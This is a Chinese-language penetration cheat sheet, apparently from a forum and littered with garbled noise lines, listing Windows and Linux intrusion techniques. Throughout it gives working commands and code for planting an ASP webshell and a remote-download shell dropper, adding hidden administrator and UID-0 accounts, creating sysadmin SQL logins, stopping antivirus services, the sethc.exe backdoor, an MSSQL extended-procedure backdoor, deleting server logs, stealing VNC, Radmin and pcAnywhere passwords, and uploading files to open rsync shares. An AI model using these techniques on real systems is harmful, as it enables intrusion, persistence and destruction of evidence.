渗透技巧总结

admin

旁站路径问题
' g' i. E3 ~4 J! H1 a; n1、读网站配置。
: f  d8 p3 c6 ?4 q% B2、用以下VBS
- [" L; U/ f& T7 m, j  ]On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
+ V4 G& K8 y1 B, l        
+ B( c: L9 d  s" w/ N! q3 ?# u
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

5 \9 [9 x/ w4 yUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
& Q0 _; P7 ?: N& Z( S9 \9 _End If
8 r" y' Y  M- p  V+ H6 gSet ObjService=GetObject

; K# _) }' T- F  U0 n) S("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
1 j" G0 I" t2 {% T
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
% }! J5 y3 ^' H' V6 d6 _, {  S         
$ _* {3 y, w, D' o* E( l+ q
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

$ I. i8 U: E4 X" I4 LOService.ServerComment & "]"
9 m# b, K, A! H1 ?' }                For Each Binds In OService.ServerBindings
+ ~; j/ B  U. q) Q, n     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
/ V1 N3 u/ x4 l3 H( i! u* Z
5 z. J0 c9 A1 p$ ZWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
6 o! h) y5 W, p& C$ O; u      
( `8 R; Y! @. L- l: ~
         WScript.Echo "ath            : " & VDirObj.Path
0 Y" Y5 k( F) u' E        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
3 M. l/ M6 K; e+ N0 c0 L4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
3 m7 s1 }2 _! {. Furl/wp-content/plugins/akismet/hello.php
1 Z- o5 n/ o- W7 w8 q% \7 c——————————————————————
2 D3 F6 n- N$ _! k2 n+ rphpMyAdmin暴路径办法:
+ f) o0 Q' d: F0 NphpMyAdmin/libraries/select_lang.lib.php
3 n% E+ G3 k( x, IphpMyAdmin/darkblue_orange/layout.inc.php
' a0 ]0 x( r2 A. nphpMyAdmin/index.php?lang[]=1
$ ~$ g/ d( ]1 d, W( tphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
4 q" g8 T% }* C3 e/ W% Q( w% B网站可能目录(注：一般是虚拟主机类）
, t6 \0 D4 T- D' e3 zdata/htdocs.网站/网站/
! e* d$ D% b( S" t( V$ B, i————————————————————
) T" }. p: J) A" J8 A9 Q# aCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
+ y; `. {  V% H% s" ~netsh ras set user administrator deny #禁止administrator拨入该VPN
* a6 z4 N! }+ i" `; pnetsh ras show user #查看哪些用户可以拨入VPN
$ C# [' X# J5 T! d7 Nnetsh ras ip show config #查看VPN分配IP的方式
, ~1 d4 P# K5 gnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
; w- |1 u+ V8 znetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
6 u' g) L6 m7 v2 t需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
4 T1 r  h4 N# \- ^7 B0 t+ P. M$ \0 {  Iexec master.dbo.sp_addlogin test,123
' y8 H" n& h& l. s, fEXEC sp_addsrvrolemember 'test, 'sysadmin'
; F; o* C1 a( U然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

1 r7 z9 M/ D2 e- u6 n另类的加用户方法
8 S6 E5 T% h3 m1 M5 d' I在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
/ \& a8 Y% L1 W5 x( ]9 Djs:
# q$ u. A  r$ |) svar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
8 u" q3 i8 ?0 T  _' L4 Z! w: f& dz.changePassword("123456","")
z.setting("AccountType")=3;
+ f4 [" ~# ?8 \* @
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
+ x4 ?2 q$ ?5 }# Vz.changePassword "123456",""
z.setting("AccountType")=3
  W/ O' \/ t6 j6 s——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
- {- T) q8 z! T0 h
$ p2 O, U, i* _8 m5 t2 R命令如下
: w/ n3 b; B; J& u$ r$ ucacls c: /e /t /g everyone:F           #c盘everyone权限
- [. f/ n8 H2 y/ _. Hcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
9 ~6 ^! |, ?3 C2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
! S2 g5 _! V4 B& t+ e' ?处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
+ y; s! a& x/ G9 Inet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
: M& a& K1 ?. P1 l# ^' E
( P. m  C. l. v# n( p' b卖咖啡：net stop "McAfee McShield"
6 h% `% p1 s( r' `" N, G- A; v! p& ]————————————————————
. ?8 K6 ~2 Z7 h
$ t) b' M; V0 a) Y9 Y5次SHIFT：
, e; Y% w/ ^) E5 d  ]; xcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
' t8 |5 A7 l. S+ S8 ccopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
. N/ j+ n! x: w- ]隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
7 S8 Q9 {4 w2 i3 C2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
! G3 I  j3 k2 }' X- n1 `* E4、利用Hacker Defender把相关用户注册表隐藏
: q8 |- L3 Y* ~  |. t( Y0 H——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
% P9 Z) o+ `7 E7 V; y& p; p# G% N; J———————————————————————
日志处理
% q$ ?% O2 x- aC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
# u6 V' \' j7 P: _不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
* m! g. ]# O% X. }用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
; {6 n; K0 `; A) `( BMSSQL 2000位于注册表如下：
8 L+ j9 e# T% o2 P7 HHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
5 v* B7 B( K. F, w' L2 E( OMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
* r/ b" C+ U6 J/ A5 a防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
# N: W; g; t$ @  e1 G4 C) yOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
# k2 F- i4 [. f6 }# ?With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
/ s. J% }7 Z8 F.Send
0 g% x: F( t5 pGetRemoteData = .ResponseBody
! H( y8 t  ^# \1 GEnd With
, v0 o4 E, t0 ?; O) XSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
+ R$ Z' H2 k4 \3 {With Ads
.Type = 1
2 l: |/ g0 V5 {1 J0 Q.Open
) n' b$ C  r3 T.Write GetRemoteData
* j/ e: x6 ^) D  Z0 y+ H" u/ v: z+ O.SaveToFile Server.MapPath(s_LocalFileName), 2
  \& ~* w8 U' {.Cancel()
: l# {# [: r% Z) G' R9 m.Close()
End With
  @1 v$ f$ b- cSet Ads=nothing
0 e4 M3 c& r2 R9 J1 a& QEnd Sub
8 T0 K0 w: Q) k/ L! ?) L
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
; i! p/ p# G* H2 X利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
4 c# [  L! O/ ?9 A注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
  O6 c( I3 \- m) B, @# x* x9 h, Pregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
, Z6 O) r) {, S* B7 Oregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
( U, N8 p; f: C2 Y" P4 l) gRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
* m! r# }7 H( `) `: T' CHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
- G8 b+ y3 |* ]6 v8 W3 H保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
: ], V) C- Z/ r6 a0 x, d# a* d# S——————————————————----------
5 p" f4 N9 I: J4 i3 dWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
0 J7 [$ V2 H7 K' A* ^来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
- x7 Y: k+ W" ^2 o1 _2 @没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
' W) H7 O" d. N# OstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
# z( U  u' {# R7 h8 \
2 O. }, e0 H8 z0 P) l8 O0 l";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

, k9 U5 N2 u% f1 S3 e8 xstrSQLDBName & ";"
7 V: E2 o2 C2 ?9 S& w* V  Pconn.open strCon
8 g! R0 q. X4 ~5 K& H. c1 i/ j/ K" Y: [dim rs,strSQL,id
. k" i2 K; K/ S3 o  @5 }set rs=server.createobject("ADODB.recordset")
% i- p1 E/ j# y3 J6 I  w4 u# \4 F$ yid = request("id")
1 v4 d; k6 b8 Z' p+ z% MstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
- ?7 b( r  v4 u+ T' h4 ]% E2 \2 nrs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
. y7 q/ U  R  i* R5 S1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

* y' W7 F6 L- X/ Q2.less /etc/ldap.conf
+ V& f( p0 P' S1 ^' M: f: Ybase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
5 ~4 V  B6 W4 Yldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 _2 e) M5 x5 k+ D$ W" I- r+ D5 W有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: T. D: H  x0 O  g

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
% j$ o7 k6 o5 m' \  L% ^" X: ]1.cat /etc/nsswitch
" d4 t: e1 w2 K, g# C+ v看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
3 p( |( V* P4 Obase ou=People,dc=unix-center,dc=net
1 p7 N, U* [8 a- y2 B. E2 o/ z找到ou,dc,dc设置
4 L/ [. H: x2 e  f8 J2 i7 v
: T' D; R2 G' Z: \* O1 {. i3.查找管理员信息
) q* y$ E- ?- ]8 C) ^- v匿名方式
, U0 g$ e9 P4 n0 X0 K# Aldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

; L$ D& P+ C4 u4 z"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
- B2 X( v! t5 Z, U$ ?7 G# l" K9 i有密码形式
, g0 U7 v& e$ ~$ f$ Q; O/ K! R( Z4 uldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

/ T) X$ n7 ~1 d"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
2 A% j0 Z8 A5 g: e

+ g- k- O  Q% _% i4.查找10条用户记录
: V! a; ]4 X$ oldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
3 T  }3 u! |. A3 D, ]9 `! R1.返回所有的属性
3 B. m8 _" Q, Vldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
/ B0 A) X$ s1 o! M0 w3 tversion: 1
dn: dc=ruc,dc=edu,dc=cn
. b- t+ C0 I2 [; y% q% Odc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
$ K6 [5 M. U5 x+ o  ^5 Yuid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
8 B7 s* j1 y6 B2 m: B' SobjectClass: person
+ P; V0 X- N7 s" L& y8 F  L% F& BobjectClass: top
9 K" X# B# F% I) x$ s3 Ssn: manager
cn: manager
3 g$ R( m- M' z
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
) O  O- R6 a, C9 VobjectClass: inetOrgPerson
- A! O& Y6 x3 {. P: `objectClass: organizationalPerson
objectClass: person
objectClass: top
" v' |5 K2 ~* }  K7 Q+ v( {sn: superadmin
; S! x- V# h: |  icn: superadmin
  y. _6 |6 ]8 l
dn: uid=admin,dc=ruc,dc=edu,dc=cn
# V' k. Y3 p& a  k% P. {4 Euid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
0 j+ F: P4 v0 y/ i5 r  j& SobjectClass: person
/ M# G; V! |) W$ f  w+ WobjectClass: top
sn: admin
cn: admin

7 B+ {% v3 y  @( X* odn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
8 H9 L* [( G/ XobjectClass: person
! B/ a' Z8 p* R  vobjectClass: organizationalPerson
( @8 V# s7 g1 kobjectClass: inetOrgPerson
, @$ J1 j4 p$ o$ I) Msn: dcp_anonymous
* b4 F; @0 a, k( ]% K- a( ncn: dcp_anonymous
$ O  s% o1 ?% B- ]! M4 W
$ h% r9 m& O" L2 r  [# C2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
+ E  l( Q. C4 `* ~
more
5 }3 P4 C- L( a* y4 O- \' ?6 ^version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
; a- V: h" N& y& S  o) h/ H! U# H
3.查找
2 C% w0 f2 \% E7 [bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
+ C) u4 A. _$ e0 ]version: 1
dn:
objectClass: top
3 L6 V0 G) f7 R0 |" B3 ~& N, `. Q$ I) m; ZnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
7 V& ]7 D  f2 w3 C& v* JsupportedExtension: 2.16.840.1.113730.3.5.8
/ l/ z, q) n. gsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
( U% B! B$ j- csupportedExtension: 2.16.840.1.113730.3.5.3
! k- j; e# L; _; f3 wsupportedExtension: 2.16.840.1.113730.3.5.5
3 @  v/ e, j; e: z' |supportedExtension: 2.16.840.1.113730.3.5.6
, O! s% z+ Z1 k5 QsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
/ N2 R( K; l6 |$ k3 v0 B, IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
$ J$ Z' d* Y6 Q, I" N/ asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
& \, V* Y- h6 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
% o) o8 j/ b, K: l3 n- s  }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
, K& h/ |7 U+ c0 m, y' isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
# F9 n, z6 b& Z# {8 Q9 ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
- l  H; V7 h& `# s6 i% PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
( m1 ?) A9 `. }9 X+ esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
" k0 ?) b4 b# K7 EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
* Q. S$ g, I8 H) O/ bsupportedExtension: 1.3.6.1.4.1.1466.20037
3 Z' O0 F$ i( ]2 w9 f+ ysupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
  H  k$ ~% W! msupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
/ h+ }' F9 j8 s$ H- ]2 @) F; m; VsupportedControl: 2.16.840.1.113730.3.4.5
$ x4 e: ?1 W- C* Y; u# M; @* hsupportedControl: 1.2.840.113556.1.4.473
! u3 P7 v8 p; ~/ h/ p- MsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
; q- R$ f( M5 A2 Z2 ysupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
& J7 o2 [/ Z3 s% r* B3 E! {* EsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
* c& o1 W) h# M. xsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
. L& b6 J9 \( @" E9 J6 GsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
  h$ N. U+ c$ Y1 t, j8 DsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
' w* q# f, p5 A  c2 V( ?supportedSASLMechanisms: EXTERNAL
1 Q( l' {' ~: nsupportedSASLMechanisms: DIGEST-MD5
0 p- p- ?9 [$ m  M9 K+ s5 i# asupportedLDAPVersion: 2
supportedLDAPVersion: 3
$ K' p7 k+ q% t' d. w! h+ P+ s: BvendorName: Sun Microsystems, Inc.
0 G) T8 e, T' S; h% F0 Q; DvendorVersion: Sun-Java(tm)-System-Directory/6.2
$ O1 t& T: F9 O' K# R5 }! j! Bdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
* d) ]- [! q2 N" h3 L; R6 |supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
5 A& V, R* Q: Q7 JsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
& L' v# o# m1 {2 t- AsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
8 W6 x1 M" }& W% \* e3 f4 f1 {supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
6 B# v, M3 Q4 B% E( f( KsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
# p( p( G! ?& R6 @9 B. n! o% YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
; v) T2 l: o* V# s% f/ IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
6 q; i7 [& ]" Z+ W: j5 UsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
( _; c$ m4 ]* Q7 m# W1 nsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
1 {: ~! I, q, Z0 ?& W9 V. o% S, csupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
3 c8 s9 F: n  |  }! isupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
! g6 z1 X! ?6 i* ?supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
2 Y, u: i& Q" y  FsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
( j( B' _/ x4 G: }% SsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
6 U- y& }% n' e6 csupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
! Q: t3 E' X' jsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
- b& |/ x; q2 csupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
- @4 \! P% m/ `. a" N% o' zsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
0 w9 E9 b& @: B7 G& q2 r; UsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
0 ^2 M* W. i. rsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
1 K* X: U2 K* d+ F6 m) h7 wsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
" `7 w* g; ^! u' dsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
1 h5 Y1 P9 V" l7 M1 H$ psupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
  a  l! E$ V4 l' S! Y, H4 hshowmount -e ip
  C# H* }1 x+ z列举IP
6 }6 u, Q4 q+ m' }1 U- e* z' n* _8 O. V——————
) c5 \, }; w' d5 h3.rsync渗透技巧
1.查看rsync服务器上的列表
( {) \' p3 d- e  i4 ~$ V' Mrsync 210.51.X.X::
- H$ q# D/ N0 S- ~0 cfinance
8 G2 k  L* E# k2 y% x  U# P  Rimg_finance
8 J: n) F5 [2 @* ~1 Mauto
img_auto
html_cms
( l0 _* Z6 Z  e' rimg_cms
ent_cms
" ]' q4 o  _+ w$ `* rent_img
2 J) Z5 [( k- A; E7 W* Z, tceshi
/ \% E# V  X& h, p$ R* q6 U! B8 @res_img
res_img_c2
chip
chip_c2
ent_icms
* h& d- i1 Y# V7 z3 b3 _games
5 o" X  z, e! E2 g" H: ugamesimg
media
mediaimg
2 l- b3 R1 G  Q( N- C7 Rfashion
res-fashion
# J7 y7 h+ }; N; E# pres-fo
/ J) `- W5 J4 E* p. r# e# itaobao-home
res-taobao-home
house
* B) `7 k! d6 F& V# p4 _res-house
$ k$ h9 ]! k# t8 @: j8 O& m% `res-home
, ^1 [6 M; s( `, Yres-edu
res-ent
; Q5 Y& [# x5 S& Sres-labs
res-news
8 y" x) C8 S: }1 _" \# N+ ^) vres-phtv
res-media
home
edu
! [  w9 `, o' }  inews
$ q2 @. L  R. \) Vres-book
  v2 P# w/ \% F$ ]" V  s0 F! Q; H1 J4 F
看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

+ l9 u+ X! p5 t  @2 [2.下载rsync服务器上的配置文件
  N* S  J: N$ g/ T2 d. Wrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
' [' T# {( ^4 c/ L. K3 Grsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
+ `: J( \7 ~6 E5 C, zhttp://app.finance.xxx.com/warn/nothack.txt
- Z. r/ M2 f, l; T
四.squid渗透技巧
nc -vv baidu.com 80
. I) p: ?8 k2 L1 i! R& IGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
# i- d1 a$ q/ n; K3 Q五.SSH端口转发
- h3 i" e9 e% c3 U8 L& nssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
5 T5 N! D/ `& a( R
. p5 T6 P( b) \" A3 l六.joomla渗透小技巧
' E# T+ x5 Z" A2 ?  B确定版本
" m; Z6 i' C, U, M" L4 t$ [index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
5 X  a: }& R% L( S+ \& ]/ c  L
9 s* V& C! w- M# a0 Q15&catid=32:languages&Itemid=47
6 v5 l0 U4 Y1 q
/ v, h4 q+ {. `( K/ c1 Y重新设置密码
% H' M/ c/ b" o1 Aindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
/ @4 }( P8 c( ^& M; Duseradd -o -u 0 nothack
6 j  N7 e0 U: z  N/ t* L+ f
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
  h, ^0 g2 Q5 ?! w) q% @7 ^8 ?* freebsd 7.3-RELEASE GENERIC
) k  H& ?7 J6 G' h2 ~# L& h8 ~3 |7 T* [argp@julius ~]$ sysctl vfs.usermount
& D1 l  Z2 F# U! q: D* vfs.usermount: 1
; s( }$ |. y; k' f* [argp@julius ~]$ id
2 j$ K) A$ Y# U; H3 X* uid=1001(argp) gid=1001(argp) groups=1001(argp)
1 g0 v7 L* {9 ~$ t* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
